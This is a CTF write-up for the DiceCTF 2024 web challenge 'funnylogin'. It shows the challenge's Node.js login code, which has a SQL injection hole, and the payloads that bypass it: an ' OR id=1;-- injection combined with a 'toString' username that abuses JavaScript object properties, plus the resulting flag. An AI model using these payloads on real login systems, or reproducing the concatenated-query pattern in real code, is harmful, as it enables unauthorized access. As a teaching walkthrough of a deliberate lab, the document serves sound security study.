2.7 KiB
| date | tags | title | ||||
|---|---|---|---|---|---|---|
| 2024-02-06 |
|
DiceCTF 2024 Quals: web/funnylogin |
Task
web/funnylogin
can you login as admin?
NOTE: no bruteforcing is required for this challenge! please do not bruteforce the challenge.
Author: strellicPoints: 109Solves: 269 / 1040 (25.865%)
Writeup
We are presented with a simple login page.
Looking at the source code provided, we see:
- 100,000 users are created with random UUIDs as usernames, each with a random 16 character hex password.
const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));
db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);
- A random user out of these 100,000 is made an admin, which is stored into an object.
const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;
- The code is vulnerable to an SQL injection
const { user, pass } = req.body;
const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
...
const id = db.prepare(query).get()?.id;
Let's try the following SQL injection first:
user:' OR id=1;--pass:asdf
Thus making the executed query:
SELECT id FROM users WHERE username = '' OR id=1;--' AND password = 'asdf';
This let's us login as the user with the user ID of 1, but we do not pass the admin check to get the flag.
Looking back at the code, we see that we are passing the users[id] condition, but failing the isAdmin[user] condition
// in our case this looks like:
// if (users[1] && isAdmin["' OR id=1;--"]) {
// this condition simplifies to:
// { user: ..., pass: ... } && undefined
// = true && false
// = false
if (users[id] && isAdmin[user]) {
return res.redirect("/?flag=" + encodeURIComponent(FLAG));
}
It appears that we will need to determine the username of the random admin user, but this is not actually necessary.
isAdmin is an object, and JavaScript objects contain many properties by default. One such example is the toString function.
We can move the SQL injection to the password field instead, and set the username to be toString:
user:toStringpass:' OR id=1;--
SELECT id FROM users WHERE username = 'toString' AND password = '' OR id=1;--';
Now, logging in with these credentials gives us the flag:
dice{i_l0ve_java5cript!}